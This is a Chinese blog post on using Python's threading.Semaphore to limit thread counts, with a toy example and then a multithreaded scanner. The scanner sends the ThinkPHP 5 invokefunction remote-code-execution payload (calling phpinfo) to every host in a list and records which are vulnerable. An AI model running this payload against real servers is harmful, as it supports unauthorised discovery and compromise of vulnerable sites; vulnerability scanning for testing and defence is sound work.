python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python脚本实现格式化css文件
Apr 08 Python
Python列表list内建函数用法实例分析【insert、remove、index、pop等】
Jul 24 Python
Python获取昨天、今天、明天开始、结束时间戳的方法
Jun 01 Python
Python实现将多个空格换为一个空格.md的方法
Dec 20 Python
详解Python 爬取13个旅游城市,告诉你五一大家最爱去哪玩?
May 07 Python
基于Python的ModbusTCP客户端实现详解
Jul 13 Python
python聚类算法解决方案(rest接口/mpp数据库/json数据/下载图片及数据)
Aug 28 Python
python读取ini配置文件过程示范
Dec 23 Python
python pip安装包出现:Failed building wheel for xxx错误的解决
Dec 25 Python
NumPy统计函数的实现方法
Jan 21 Python
如何利用python web框架做文件流下载的实现示例
Jun 02 Python
Python3如何使用多线程升程序运行速度
Aug 11 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
比特率,大家看看这个就不用收音机音质去比MP3音质了
2021/03/01 无线电
第五节 克隆 [5]
2006/10/09 PHP
Thinkphp5 微信公众号token验证不成功的原因及解决方法
2017/11/12 PHP
Avengerls vs KG BO3 第三场2.18
2021/03/10 DOTA
简洁短小的 JavaScript IE 浏览器判定代码
2010/03/21 Javascript
jQuery Clone Bug解决代码
2010/12/22 Javascript
Jquery实现的一种常用高亮效果示例代码
2014/01/28 Javascript
JavaScript字符串对象substring方法入门实例(用于截取字符串)
2014/10/17 Javascript
Angularjs注入拦截器实现Loading效果
2015/12/28 Javascript
JQuery中attr属性和jQuery.data()学习笔记【必看】
2016/05/18 Javascript
jQuery ajaxForm()的应用
2016/10/14 Javascript
Vue实现双向数据绑定
2017/05/03 Javascript
angular实现图片懒加载实例代码
2017/06/08 Javascript
js截取字符串功能的实现方法
2017/09/27 Javascript
JavaScript实现打印星型金字塔功能实例分析
2017/09/27 Javascript
在vue 中使用 less的教程详解
2018/09/26 Javascript
vue实现pdf导出解决生成canvas模糊等问题(推荐)
2018/10/18 Javascript
json字符串对象转换代码实例
2019/09/28 Javascript
Python使用函数默认值实现函数静态变量的方法
2014/08/18 Python
Python操作MySQL简单实现方法
2015/01/26 Python
Python语言的变量认识及操作方法
2018/02/11 Python
在python中实现调用可执行文件.exe的3种方法
2019/07/07 Python
详解python中index()、find()方法
2019/08/29 Python
Python实现快速排序的方法详解
2019/10/25 Python
详解使用python3.7配置开发钉钉群自定义机器人(2020年新版攻略)
2020/04/01 Python
python常量折叠基础知识点讲解
2021/02/28 Python
新西兰最大的品牌运动鞋购物网站:Platypus NZ
2017/10/27 全球购物
Myprotein瑞士官方网站:运动营养和健身网上商店
2019/09/25 全球购物
将"引用"作为函数参数有哪些特点
2013/04/05 面试题
存储过程和函数的区别
2013/05/28 面试题
大学生新闻专业个人自我评价
2013/11/12 职场文书
《卖木雕的少年》教学反思
2014/04/11 职场文书
交警正风肃纪剖析材料
2014/10/29 职场文书
优秀共产党员事迹材料
2014/12/18 职场文书
教师节慰问信
2015/02/15 职场文书
麦田里的守望者读书笔记
2015/06/30 职场文书